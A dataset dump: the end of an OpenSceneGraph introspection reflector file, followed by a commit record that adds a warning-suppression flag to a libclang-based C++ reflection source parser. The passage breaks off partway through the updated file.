<osgIntrospection\/TypedMethodInfo>\n#include <osgIntrospection\/StaticMethodInfo>\n#include <osgIntrospection\/Attributes>\n\n#include <osg\/Image>\n#include <osg\/Shader>\n#include <osg\/Texture>\n#include <osg\/TransferFunction>\n#include <osg\/Vec4>\n\n\/\/ Must undefine IN and OUT macros defined in Windows headers\n#ifdef IN\n#undef IN\n#endif\n#ifdef OUT\n#undef OUT\n#endif\n\nBEGIN_VALUE_REFLECTOR(osg::TransferFunction)\n\tI_Constructor0(____TransferFunction,\n\t               \"\",\n\t               \"\");\n\tI_Method0(osg::Image *, getImage,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Image_P1__getImage,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Image *, getImage,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Image_P1__getImage,\n\t          \"\",\n\t          \"\");\n\tI_Method0(osg::Texture *, getTexture,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Texture_P1__getTexture,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Texture *, getTexture,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Texture_P1__getTexture,\n\t          \"\",\n\t          \"\");\n\tI_Method0(osg::Shader *, getShader,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Shader_P1__getShader,\n\t          \"\",\n\t          \"\");\n\tI_Method0(const osg::Shader *, getShader,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Shader_P1__getShader,\n\t          \"\",\n\t          \"\");\n\tI_SimpleProperty(osg::Image *, Image, \n\t                 __osg_Image_P1__getImage, \n\t                 0);\n\tI_SimpleProperty(osg::Shader *, Shader, \n\t                 __osg_Shader_P1__getShader, \n\t                 0);\n\tI_SimpleProperty(osg::Texture *, Texture, \n\t                 __osg_Texture_P1__getTexture, \n\t                 0);\nEND_REFLECTOR\n\nBEGIN_OBJECT_REFLECTOR(osg::TransferFunction1D)\n\tI_BaseType(osg::TransferFunction);\n\tI_Constructor0(____TransferFunction1D,\n\t               \"\",\n\t               \"\");\n\tI_Method2(void, setInputRange, IN, float, minimum, IN, float, maximum,\n\t          Properties::NON_VIRTUAL,\n\t          __void__setInputRange__float__float,\n\t          \"\",\n\t          \"\");\n\tI_Method1(void, allocate, IN, unsigned int, numX,\n\t          Properties::NON_VIRTUAL,\n\t          __void__allocate__unsigned_int,\n\t          \"\",\n\t          \"\");\n\tI_MethodWithDefaults1(void, clear, IN, const osg::Vec4 &, color, osg::Vec4(1.0f, 1.0f, 1.0f, 1.0f),\n\t                      Properties::NON_VIRTUAL,\n\t                      __void__clear__C5_osg_Vec4_R1,\n\t                      \"\",\n\t                      \"\");\n\tI_Method0(unsigned int, getNumberCellsX,\n\t          Properties::NON_VIRTUAL,\n\t          __unsigned_int__getNumberCellsX,\n\t          \"\",\n\t          \"\");\n\tI_Method1(osg::Vec4 &, getValue, IN, unsigned int, i,\n\t          Properties::NON_VIRTUAL,\n\t          __osg_Vec4_R1__getValue__unsigned_int,\n\t          \"\",\n\t          \"\");\n\tI_Method1(const osg::Vec4 &, getValue, IN, unsigned int, i,\n\t          Properties::NON_VIRTUAL,\n\t          __C5_osg_Vec4_R1__getValue__unsigned_int,\n\t          \"\",\n\t          \"\");\n\tI_SimpleProperty(unsigned int, NumberCellsX, \n\t                 __unsigned_int__getNumberCellsX, \n\t                 0);\nEND_REFLECTOR\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright(c) 2016 Jounayd Id Salah\n\/\/ Distributed under the MIT License (See accompanying file LICENSE.md file or copy at http:\/\/opensource.org\/licenses\/MIT).\n#include \"parser_clang\/pch.h\"\n#include \"parser_clang\/coClangSourceParser.h\"\n#include \"pattern\/scope\/coDefer.h\"\n#include \"lang\/result\/coResult_f.h\"\n#include \"lang\/reflect\/coType.h\"\n#include \"lang\/reflect\/coField.h\"\n#include \"parser\/source\/coParsedType.h\"\n#include \"parser\/source\/coParsedField.h\"\n#include \"container\/string\/coDynamicString_f.h\"\n#include \"container\/array\/coDynamicArray_f.h\"\n#include \"container\/array\/coConstArray_f.h\"\n#include \"memory\/allocator\/coLocalAllocator.h\"\n#include \"io\/path\/coPath_f.h\"\n#include \"io\/path\/coPathStatus.h\"\n#include \"io\/dir\/coDirectory_f.h\"\n\nstatic coConstString co_GetClangErrorString(CXErrorCode _errorCode)\n{\n\tswitch (_errorCode)\n\t{\n\tcase CXError_Success: return \"\";\n\tcase CXError_Failure: return \"Generic error, no further details are available.\";\n\tcase CXError_Crashed: return \"Libclang crashed while performing the requested operation.\";\n\tcase CXError_InvalidArguments: return \"The function detected that the arguments violate the function contract.\";\n\tcase CXError_ASTReadError: return \"An AST deserialization error has occurred.\";\n\tdefault: return \"Unknown error code\";\n\t}\n}\n\ncoSourceParser* coSourceParser::Create()\n{\n\treturn new coClangSourceParser();\n}\n\ncoClangSourceParser::coClangSourceParser()\n\t: clangIndex(nullptr)\n{\n\n}\n\ncoClangSourceParser::~coClangSourceParser()\n{\n\tif (clangIndex)\n\t{\n\t\tclang_disposeIndex(clangIndex);\n\t}\n\tcoDeleteElementsAndClear(stringBuffer);\n}\n\ncoResult coClangSourceParser::OnInit(const coObject::InitConfig& _config)\n{\n\tcoTRY(Super::OnInit(_config), nullptr);\n\tconst InitConfig& config = static_cast<const InitConfig&>(_config);\n\n\tcoASSERT(!clangIndex);\n\tclangIndex = clang_createIndex(1, 1);\n\n\tbuildDir = config.buildDir;\n\tcoTRY(coCreateDirsIfMissing(buildDir), \"Failed to create the build directory: \"<<buildDir);\n\n\tcoTRY(InitCommonParseArgs(config), nullptr);\n\tif (config.precompiledHeaderSourcePath != \"\")\n\t{\n\t\tcoTRY(InitPrecompiledHeader(config), nullptr);\n\t}\n\tcoTRY(InitSourceParseArgs(config), nullptr);\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitCommonParseArgs(const InitConfig& _config)\n{\n\tcoTRY(commonParseArgs.count == 0, nullptr);\n\tcommonParseArgs = { \"-x\", \"c++\", \"-std=c++11\", \"-fms-compatibility-version=19\", \"-D\", \"coREFLECTION_PARSING\" };\n\tfor (const coConstString& includeDir : _config.includeDirs)\n\t{\n\t\tcoDynamicString* s = new coDynamicString();\n\t\tcoPushBack(stringBuffer, s);\n\t\tcoTRY(includeDir != \"\", \"Null include dir specified.\");\n\t\t*s = \"-I\";\n\t\t*s << includeDir;\n\t\tcoNullTerminate(*s);\n\t\tcoPushBack(commonParseArgs, static_cast<const coChar*>(s->data));\n\t}\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitSourceParseArgs(const InitConfig& \/*_config*\/)\n{\n\tcoTRY(sourceParseArgs.count == 0, nullptr);\n\tcoPushBackArray(sourceParseArgs, commonParseArgs);\n\tif (precompiledHeaderPath != \"\")\n\t{\n\t\tcoPushBack(sourceParseArgs, \"-include-pch\");\n\t\tcoNullTerminate(precompiledHeaderPath);\n\t\tcoPushBack(sourceParseArgs, precompiledHeaderPath.data);\n\t}\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitPrecompiledHeader(const InitConfig& _config)\n{\n\tcoLocalAllocator localAllocator(2048);\n\n\t\/\/ Check out dir\n\t\/*{\n\tcoPathStatus status;\n\tcoTRY(coGetPathStatus(status, _config.outPath), nullptr);\n\tcoTRY(status.Exists(), \"The output directory does not exist: \"<<_config.outPath);\n\t}*\/\n\n\t\/\/ Build file path\n\tcoDynamicString filePath(localAllocator);\n\t{\n\t\tfilePath = _config.precompiledHeaderSourcePath;\n\t\tcoTRY(coIsFile(filePath), \"Not a file: \" << filePath);\n\t\tcoNullTerminate(filePath);\n\t}\n\n\t\/\/ Build precompiled header path\n\t{\n\t\tcoConstString baseName;\n\t\tcoGetBaseName(baseName, _config.precompiledHeaderSourcePath);\n\t\tcoJoinPaths(precompiledHeaderPath, buildDir, baseName);\n\t\tprecompiledHeaderPath << \".pch\";\n\t\tcoNullTerminate(precompiledHeaderPath);\n\t}\n\n\t\/\/ Parse\n\t{\n\t\tCXTranslationUnit translationUnit = nullptr;\n\t\t\/\/translationUnit = clang_createTranslationUnitFromSourceFile(clangIndex, filePath.data, commonParseArgs.count, commonParseArgs.data, 0, nullptr);\n\t\tconst CXErrorCode parseError = clang_parseTranslationUnit2(clangIndex, filePath.data, commonParseArgs.data, commonParseArgs.count, nullptr, 0, CXTranslationUnit_SkipFunctionBodies | CXTranslationUnit_Incomplete, &translationUnit);\n\t\tcoTRY(parseError == CXError_Success, \"Clang failed to parse the file: \" << filePath << \" (libclang: \"<< co_GetClangErrorString(parseError) << \")\");\n\t\tcoTRY(translationUnit, \"Can't create translation unit from source file: \" << filePath);\n\t\tcoDEFER() { clang_disposeTranslationUnit(translationUnit); };\n\t\tconst CXSaveError saveError = static_cast<CXSaveError>(clang_saveTranslationUnit(translationUnit, precompiledHeaderPath.data, 0));\n\t\tcoTRY(saveError == CXSaveError_None, \"Clang failed to save the file: \" << precompiledHeaderPath.data);\n\t}\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::Parse(ParseResult& _result, const ParseConfig& _config)\n{\n\tcoTRY(Super::Parse(_result, _config), nullptr);\n\tcoLocalAllocator localAllocator(2048);\n\n\tcoDynamicString filePath(localAllocator);\n\tfilePath = _config.filePath;\n\tcoNullTerminate(filePath);\n\tCXTranslationUnit translationUnit = nullptr;\n\t\/\/translationUnit = clang_createTranslationUnitFromSourceFile(clangIndex, filePath.data, sourceParseArgs.count, sourceParseArgs.data, 0, nullptr);\n\tconst CXErrorCode error = clang_parseTranslationUnit2(clangIndex, filePath.data, sourceParseArgs.data, sourceParseArgs.count, nullptr, 0, CXTranslationUnit_SkipFunctionBodies | CXTranslationUnit_Incomplete, &translationUnit);\n\tcoTRY(error == CXError_Success, \"Clang failed to parse the file: \" << filePath << \" (libclang: \" << co_GetClangErrorString(error) << \")\");\n\tcoTRY(translationUnit, \"Can't create translation unit from source file: \" << filePath);\n\tcoDEFER() { clang_disposeTranslationUnit(translationUnit); };\n\tCXCursor cursor = clang_getTranslationUnitCursor(translationUnit);\n\n\tif (_result.parsedTypes)\n\t{\n\t\tcoTRY(ParseTypes(_result, cursor), \"Failed to parse types\");\n\t}\n\treturn true;\n}\n\nCXChildVisitResult coClangSourceParser::ParseTypesVisitor(CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n{\n\tconst ScopeInfo* scope = static_cast<const ScopeInfo*>(_clientData);\n\tcoClangSourceParser* _this = scope->parser;\n\tconst coBool definition = clang_isCursorDefinition(_child) != 0;\n\tif (!definition)\n\t\treturn CXChildVisitResult::CXChildVisit_Continue;\n\n\tswitch (_child.kind)\n\t{\n\tcase CXCursor_ClassDecl:\n\tcase CXCursor_StructDecl:\n\t{\n\t\tconst CXSourceLocation location = clang_getCursorLocation(_child);\n\t\tif (clang_Location_isFromMainFile(location))\n\t\t{\n\t\t\tconst CXCursor reflectedAttr = FindAttribute(_child, \"Reflected\");\n\t\t\tif (!clang_Cursor_isNull(reflectedAttr))\n\t\t\t{\n\t\t\t\tcoASSERT(scope->result);\n\n\t\t\t\tif (!_this->ParseType(*scope->result, _child))\n\t\t\t\t{\n\t\t\t\t\tcoERROR(\"Failed\");\n\t\t\t\t\treturn CXChildVisitResult::CXChildVisit_Break;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n\t}\n\treturn CXChildVisitResult::CXChildVisit_Continue;\n}\n\nCXChildVisitResult coClangSourceParser::ParseTypeChildrenVisitor(CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n{\n\tconst ScopeInfo* scope = static_cast<const ScopeInfo*>(_clientData);\n\tcoASSERT(scope);\n\tcoClangSourceParser* _this = scope->parser;\n\tif (!_this->ParseTypeChild(*scope, _child))\n\t{\n\t\tcoERROR(\"Failed to parse type child\");\n\t\tCXChildVisitResult::CXChildVisit_Break;\n\t}\n\t\n\treturn CXChildVisitResult::CXChildVisit_Continue;\n}\n\ncoResult coClangSourceParser::ParseTypeChild(const ScopeInfo& scope, const CXCursor& _cursor)\n{\n\tcoTRY(scope.curType, nullptr);\n\tswitch (_cursor.kind)\n\t{\n\tcase CXCursor_StructDecl:\n\t{\n\t\tint x = 0;\n\t\t++x;\n\t\tbreak;\n\t}\n\tcase CXCursor_FieldDecl:\n\t{\n\t\tcoParsedField* parsedField = new coParsedField();\n\t\tparsedField->field = new coField();\n\t\tcoDEFER() { delete parsedField; };\n\t\tcoTRY(ParseField(*parsedField, _cursor), \"Failed to parse field: \" << parsedField->field->name);\n\t\tcoPushBack(scope.curType->parsedFields, parsedField);\n\t\tparsedField = nullptr;\n\t\tbreak;\n\t}\n\tcase CXCursor_VarDecl: \/\/ Static field\n\t{\n\t\tbreak;\n\t}\n\tcase CXCursor_CXXMethod: \/\/ Both static and non-static\n\t{\n\t\tconst coBool staticMethod = clang_CXXMethod_isStatic(_cursor) != 0;\n\t\tif (staticMethod)\n\t\t{\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t}\n\t\tbreak;\n\t}\n\t}\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseTypes(ParseResult& _result, const CXCursor& _cursor)\n{\n\tcoASSERT(_result.parsedTypes);\n\tScopeInfo scope;\n\tscope.parser = this;\n\tscope.result = &_result;\n\tclang_visitChildren(_cursor, &ParseTypesVisitor, &scope);\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseType(ParseResult& _result, const CXCursor& _cursor)\n{\n\tcoParsedType* parsedType = new coParsedType();\n\tcoDEFER() { delete parsedType; };\n\tparsedType->type = new coType();\n\tcoTRY(ParseSymbol(*parsedType->type, _cursor), nullptr);\n\tScopeInfo scope;\n\tscope.parser = this;\n\tscope.curType = parsedType;\n\tclang_visitChildren(_cursor, &ParseTypeChildrenVisitor, &scope);\n\tcoPushBack(*_result.parsedTypes, parsedType);\n\tparsedType = nullptr; \/\/ Release from defer\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseField(coParsedField& _parsedField, const CXCursor& _cursor)\n{\n\tcoTRY(ParseSymbol(*_parsedField.field, _cursor), nullptr);\n\tconst CXType type = clang_getCursorType(_cursor);\n\tconst CXType canonicalType = clang_getCanonicalType(type);\n\tconst CXCursor typeCursor = clang_getTypeDeclaration(canonicalType);\n\tconst CXString typeSpelling = clang_getCursorSpelling(typeCursor);\n\tcoDEFER() { clang_disposeString(typeSpelling); };\n\t_parsedField.typeName = clang_getCString(typeSpelling);\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseSymbol(coSymbol& _symbol, const CXCursor& _cursor)\n{\n\tconst CXString name = clang_getCursorSpelling(_cursor);\n\tcoDEFER() { clang_disposeString(name); };\n\t_symbol.name = clang_getCString(name);\n\n\tconst CX_CXXAccessSpecifier access = clang_getCXXAccessSpecifier(_cursor);\n\tif (access == CX_CXXPublic)\n\t\t_symbol.symbolFlags |= coType::public_;\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseMethod(coParsedFunction& \/*_function*\/, const CXCursor& _cursor)\n{\n\tconst coBool staticMethod = clang_CXXMethod_isStatic(_cursor) != 0;\n\tif (staticMethod)\n\t{\n\n\t}\n\telse\n\t{\n\n\t}\n\treturn true;\n}\n\nCXCursor coClangSourceParser::FindAttribute(const CXCursor& _cursor, const coConstString& _attr)\n{\n\tswitch (_cursor.kind)\n\t{\n\tcase CXCursor_ClassDecl:\n\tcase CXCursor_StructDecl:\n\t{\n\t\tstruct Result\n\t\t{\n\t\t\tResult(const coConstString& _structName) : cursor(clang_getNullCursor()), structName(_structName) {}\n\t\t\tCXCursor cursor;\n\t\t\tconst coConstString& structName;\n\t\t};\n\t\tstatic const coConstString attributePrefix(\"_attribute_\");\n\t\tcoDynamicString structName;\n\t\tstructName << attributePrefix;\n\t\tstructName << _attr;\n\t\tResult result(structName);\n\t\tauto AttributeVisitor = [](CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n\t\t{\n\t\t\tif (_child.kind == CXCursor_StructDecl)\n\t\t\t{\n\t\t\t\tCXString cursorStr = clang_getCursorDisplayName(_child);\n\t\t\t\tcoDEFER() { clang_disposeString(cursorStr); };\n\t\t\t\tconst coConstString name = clang_getCString(cursorStr);\n\t\t\t\tResult* result = static_cast<Result*>(_clientData);\n\t\t\t\tif (name == result->structName)\n\t\t\t\t{\n\t\t\t\t\tresult->cursor = _child;\n\t\t\t\t\treturn CXChildVisit_Break;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn CXChildVisit_Continue;\n\t\t};\n\t\tclang_visitChildren(_cursor, AttributeVisitor, &result);\n\t\treturn result.cursor;\n\t\tbreak;\n\t}\n\t}\n\n\treturn clang_getNullCursor();\n}\n<commit_msg>Removed pragma once outside header warning.<commit_after>\/\/ Copyright(c) 2016 Jounayd Id Salah\n\/\/ Distributed under the MIT License (See accompanying file LICENSE.md file or copy at http:\/\/opensource.org\/licenses\/MIT).\n#include \"parser_clang\/pch.h\"\n#include \"parser_clang\/coClangSourceParser.h\"\n#include \"pattern\/scope\/coDefer.h\"\n#include \"lang\/result\/coResult_f.h\"\n#include \"lang\/reflect\/coType.h\"\n#include \"lang\/reflect\/coField.h\"\n#include \"parser\/source\/coParsedType.h\"\n#include \"parser\/source\/coParsedField.h\"\n#include \"container\/string\/coDynamicString_f.h\"\n#include \"container\/array\/coDynamicArray_f.h\"\n#include \"container\/array\/coConstArray_f.h\"\n#include \"memory\/allocator\/coLocalAllocator.h\"\n#include \"io\/path\/coPath_f.h\"\n#include \"io\/path\/coPathStatus.h\"\n#include \"io\/dir\/coDirectory_f.h\"\n\nstatic coConstString co_GetClangErrorString(CXErrorCode _errorCode)\n{\n\tswitch (_errorCode)\n\t{\n\tcase CXError_Success: return \"\";\n\tcase CXError_Failure: return \"Generic error, no further details are available.\";\n\tcase CXError_Crashed: return \"Libclang crashed while performing the requested operation.\";\n\tcase CXError_InvalidArguments: return \"The function detected that the arguments violate the function contract.\";\n\tcase CXError_ASTReadError: return \"An AST deserialization error has occurred.\";\n\tdefault: return \"Unknown error code\";\n\t}\n}\n\ncoSourceParser* coSourceParser::Create()\n{\n\treturn new coClangSourceParser();\n}\n\ncoClangSourceParser::coClangSourceParser()\n\t: clangIndex(nullptr)\n{\n\n}\n\ncoClangSourceParser::~coClangSourceParser()\n{\n\tif (clangIndex)\n\t{\n\t\tclang_disposeIndex(clangIndex);\n\t}\n\tcoDeleteElementsAndClear(stringBuffer);\n}\n\ncoResult coClangSourceParser::OnInit(const coObject::InitConfig& _config)\n{\n\tcoTRY(Super::OnInit(_config), nullptr);\n\tconst InitConfig& config = static_cast<const InitConfig&>(_config);\n\n\tcoASSERT(!clangIndex);\n\tclangIndex = clang_createIndex(1, 1);\n\n\tbuildDir = config.buildDir;\n\tcoTRY(coCreateDirsIfMissing(buildDir), \"Failed to create the build directory: \"<<buildDir);\n\n\tcoTRY(InitCommonParseArgs(config), nullptr);\n\tif (config.precompiledHeaderSourcePath != \"\")\n\t{\n\t\tcoTRY(InitPrecompiledHeader(config), nullptr);\n\t}\n\tcoTRY(InitSourceParseArgs(config), nullptr);\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitCommonParseArgs(const InitConfig& _config)\n{\n\tcoTRY(commonParseArgs.count == 0, nullptr);\n\tcommonParseArgs = { \"-x\", \"c++\", \"-std=c++11\", \"-fms-compatibility-version=19\", \"-Wno-pragma-once-outside-header\", \"-D\", \"coREFLECTION_PARSING\" };\n\tfor (const coConstString& includeDir : _config.includeDirs)\n\t{\n\t\tcoDynamicString* s = new coDynamicString();\n\t\tcoPushBack(stringBuffer, s);\n\t\tcoTRY(includeDir != \"\", \"Null include dir specified.\");\n\t\t*s = \"-I\";\n\t\t*s << includeDir;\n\t\tcoNullTerminate(*s);\n\t\tcoPushBack(commonParseArgs, static_cast<const coChar*>(s->data));\n\t}\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitSourceParseArgs(const InitConfig& \/*_config*\/)\n{\n\tcoTRY(sourceParseArgs.count == 0, nullptr);\n\tcoPushBackArray(sourceParseArgs, commonParseArgs);\n\tif (precompiledHeaderPath != \"\")\n\t{\n\t\tcoPushBack(sourceParseArgs, \"-include-pch\");\n\t\tcoNullTerminate(precompiledHeaderPath);\n\t\tcoPushBack(sourceParseArgs, precompiledHeaderPath.data);\n\t}\n\treturn true;\n}\n\ncoResult coClangSourceParser::InitPrecompiledHeader(const InitConfig& _config)\n{\n\tcoLocalAllocator localAllocator(2048);\n\n\t\/\/ Check out dir\n\t\/*{\n\tcoPathStatus status;\n\tcoTRY(coGetPathStatus(status, _config.outPath), nullptr);\n\tcoTRY(status.Exists(), \"The output directory does not exist: \"<<_config.outPath);\n\t}*\/\n\n\t\/\/ Build file path\n\tcoDynamicString filePath(localAllocator);\n\t{\n\t\tfilePath = _config.precompiledHeaderSourcePath;\n\t\tcoTRY(coIsFile(filePath), \"Not a file: \" << filePath);\n\t\tcoNullTerminate(filePath);\n\t}\n\n\t\/\/ Build precompiled header path\n\t{\n\t\tcoConstString baseName;\n\t\tcoGetBaseName(baseName, _config.precompiledHeaderSourcePath);\n\t\tcoJoinPaths(precompiledHeaderPath, buildDir, baseName);\n\t\tprecompiledHeaderPath << \".pch\";\n\t\tcoNullTerminate(precompiledHeaderPath);\n\t}\n\n\t\/\/ Parse\n\t{\n\t\tCXTranslationUnit translationUnit = nullptr;\n\t\t\/\/translationUnit = clang_createTranslationUnitFromSourceFile(clangIndex, filePath.data, commonParseArgs.count, commonParseArgs.data, 0, nullptr);\n\t\tconst CXErrorCode parseError = clang_parseTranslationUnit2(clangIndex, filePath.data, commonParseArgs.data, commonParseArgs.count, nullptr, 0, CXTranslationUnit_SkipFunctionBodies | CXTranslationUnit_Incomplete, &translationUnit);\n\t\tcoTRY(parseError == CXError_Success, \"Clang failed to parse the file: \" << filePath << \" (libclang: \"<< co_GetClangErrorString(parseError) << \")\");\n\t\tcoTRY(translationUnit, \"Can't create translation unit from source file: \" << filePath);\n\t\tcoDEFER() { clang_disposeTranslationUnit(translationUnit); };\n\t\tconst CXSaveError saveError = static_cast<CXSaveError>(clang_saveTranslationUnit(translationUnit, precompiledHeaderPath.data, 0));\n\t\tcoTRY(saveError == CXSaveError_None, \"Clang failed to save the file: \" << precompiledHeaderPath.data);\n\t}\n\n\treturn true;\n}\n\ncoResult coClangSourceParser::Parse(ParseResult& _result, const ParseConfig& _config)\n{\n\tcoTRY(Super::Parse(_result, _config), nullptr);\n\tcoLocalAllocator localAllocator(2048);\n\n\tcoDynamicString filePath(localAllocator);\n\tfilePath = _config.filePath;\n\tcoNullTerminate(filePath);\n\tCXTranslationUnit translationUnit = nullptr;\n\t\/\/translationUnit = clang_createTranslationUnitFromSourceFile(clangIndex, filePath.data, sourceParseArgs.count, sourceParseArgs.data, 0, nullptr);\n\tconst CXErrorCode error = clang_parseTranslationUnit2(clangIndex, filePath.data, sourceParseArgs.data, sourceParseArgs.count, nullptr, 0, CXTranslationUnit_SkipFunctionBodies | CXTranslationUnit_Incomplete, &translationUnit);\n\tcoTRY(error == CXError_Success, \"Clang failed to parse the file: \" << filePath << \" (libclang: \" << co_GetClangErrorString(error) << \")\");\n\tcoTRY(translationUnit, \"Can't create translation unit from source file: \" << filePath);\n\tcoDEFER() { clang_disposeTranslationUnit(translationUnit); };\n\tCXCursor cursor = clang_getTranslationUnitCursor(translationUnit);\n\n\tif (_result.parsedTypes)\n\t{\n\t\tcoTRY(ParseTypes(_result, cursor), \"Failed to parse types\");\n\t}\n\treturn true;\n}\n\nCXChildVisitResult coClangSourceParser::ParseTypesVisitor(CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n{\n\tconst ScopeInfo* scope = static_cast<const ScopeInfo*>(_clientData);\n\tcoClangSourceParser* _this = scope->parser;\n\tconst coBool definition = clang_isCursorDefinition(_child) != 0;\n\tif (!definition)\n\t\treturn CXChildVisitResult::CXChildVisit_Continue;\n\n\tswitch (_child.kind)\n\t{\n\tcase CXCursor_ClassDecl:\n\tcase CXCursor_StructDecl:\n\t{\n\t\tconst CXSourceLocation location = clang_getCursorLocation(_child);\n\t\tif (clang_Location_isFromMainFile(location))\n\t\t{\n\t\t\tconst CXCursor reflectedAttr = FindAttribute(_child, \"Reflected\");\n\t\t\tif (!clang_Cursor_isNull(reflectedAttr))\n\t\t\t{\n\t\t\t\tcoASSERT(scope->result);\n\n\t\t\t\tif (!_this->ParseType(*scope->result, _child))\n\t\t\t\t{\n\t\t\t\t\tcoERROR(\"Failed\");\n\t\t\t\t\treturn CXChildVisitResult::CXChildVisit_Break;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak;\n\t}\n\t}\n\treturn CXChildVisitResult::CXChildVisit_Continue;\n}\n\nCXChildVisitResult coClangSourceParser::ParseTypeChildrenVisitor(CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n{\n\tconst ScopeInfo* scope = static_cast<const ScopeInfo*>(_clientData);\n\tcoASSERT(scope);\n\tcoClangSourceParser* _this = scope->parser;\n\tif (!_this->ParseTypeChild(*scope, _child))\n\t{\n\t\tcoERROR(\"Failed to parse type child\");\n\t\tCXChildVisitResult::CXChildVisit_Break;\n\t}\n\t\n\treturn CXChildVisitResult::CXChildVisit_Continue;\n}\n\ncoResult coClangSourceParser::ParseTypeChild(const ScopeInfo& scope, const CXCursor& _cursor)\n{\n\tcoTRY(scope.curType, nullptr);\n\tswitch (_cursor.kind)\n\t{\n\tcase CXCursor_StructDecl:\n\t{\n\t\tint x = 0;\n\t\t++x;\n\t\tbreak;\n\t}\n\tcase CXCursor_FieldDecl:\n\t{\n\t\tcoParsedField* parsedField = new coParsedField();\n\t\tparsedField->field = new coField();\n\t\tcoDEFER() { delete parsedField; };\n\t\tcoTRY(ParseField(*parsedField, _cursor), \"Failed to parse field: \" << parsedField->field->name);\n\t\tcoPushBack(scope.curType->parsedFields, parsedField);\n\t\tparsedField = nullptr;\n\t\tbreak;\n\t}\n\tcase CXCursor_VarDecl: \/\/ Static field\n\t{\n\t\tbreak;\n\t}\n\tcase CXCursor_CXXMethod: \/\/ Both static and non-static\n\t{\n\t\tconst coBool staticMethod = clang_CXXMethod_isStatic(_cursor) != 0;\n\t\tif (staticMethod)\n\t\t{\n\n\t\t}\n\t\telse\n\t\t{\n\n\t\t}\n\t\tbreak;\n\t}\n\t}\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseTypes(ParseResult& _result, const CXCursor& _cursor)\n{\n\tcoASSERT(_result.parsedTypes);\n\tScopeInfo scope;\n\tscope.parser = this;\n\tscope.result = &_result;\n\tclang_visitChildren(_cursor, &ParseTypesVisitor, &scope);\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseType(ParseResult& _result, const CXCursor& _cursor)\n{\n\tcoParsedType* parsedType = new coParsedType();\n\tcoDEFER() { delete parsedType; };\n\tparsedType->type = new coType();\n\tcoTRY(ParseSymbol(*parsedType->type, _cursor), nullptr);\n\tScopeInfo scope;\n\tscope.parser = this;\n\tscope.curType = parsedType;\n\tclang_visitChildren(_cursor, &ParseTypeChildrenVisitor, &scope);\n\tcoPushBack(*_result.parsedTypes, parsedType);\n\tparsedType = nullptr; \/\/ Release from defer\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseField(coParsedField& _parsedField, const CXCursor& _cursor)\n{\n\tcoTRY(ParseSymbol(*_parsedField.field, _cursor), nullptr);\n\tconst CXType type = clang_getCursorType(_cursor);\n\tconst CXType canonicalType = clang_getCanonicalType(type);\n\tconst CXCursor typeCursor = clang_getTypeDeclaration(canonicalType);\n\tconst CXString typeSpelling = clang_getCursorSpelling(typeCursor);\n\tcoDEFER() { clang_disposeString(typeSpelling); };\n\t_parsedField.typeName = clang_getCString(typeSpelling);\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseSymbol(coSymbol& _symbol, const CXCursor& _cursor)\n{\n\tconst CXString name = clang_getCursorSpelling(_cursor);\n\tcoDEFER() { clang_disposeString(name); };\n\t_symbol.name = clang_getCString(name);\n\n\tconst CX_CXXAccessSpecifier access = clang_getCXXAccessSpecifier(_cursor);\n\tif (access == CX_CXXPublic)\n\t\t_symbol.symbolFlags |= coType::public_;\n\treturn true;\n}\n\ncoResult coClangSourceParser::ParseMethod(coParsedFunction& \/*_function*\/, const CXCursor& _cursor)\n{\n\tconst coBool staticMethod = clang_CXXMethod_isStatic(_cursor) != 0;\n\tif (staticMethod)\n\t{\n\n\t}\n\telse\n\t{\n\n\t}\n\treturn true;\n}\n\nCXCursor coClangSourceParser::FindAttribute(const CXCursor& _cursor, const coConstString& _attr)\n{\n\tswitch (_cursor.kind)\n\t{\n\tcase CXCursor_ClassDecl:\n\tcase CXCursor_StructDecl:\n\t{\n\t\tstruct Result\n\t\t{\n\t\t\tResult(const coConstString& _structName) : cursor(clang_getNullCursor()), structName(_structName) {}\n\t\t\tCXCursor cursor;\n\t\t\tconst coConstString& structName;\n\t\t};\n\t\tstatic const coConstString attributePrefix(\"_attribute_\");\n\t\tcoDynamicString structName;\n\t\tstructName << attributePrefix;\n\t\tstructName << _attr;\n\t\tResult result(structName);\n\t\tauto AttributeVisitor = [](CXCursor _child, CXCursor \/*_parent*\/, CXClientData _clientData)\n\t\t{\n\t\t\tif (_child.kind == CXCursor_StructDecl)\n\t\t\t{\n\t\t\t\tCXString cursorStr = clang_getCursorDisplayName(_child);\n\t\t\t\tcoDEFER() { clang_disposeString(cursorStr); };\n\t\t\t\tconst coConstString name = clang_getCString(cursorStr);\n\t\t\t\tResult* result = static_cast<Result*>(_clientData);\n\t\t\t\tif (name == result->structName)\n\t\t\t\t{\n\t\t\t\t\tresult->cursor = _child;\n\t\t\t\t\treturn 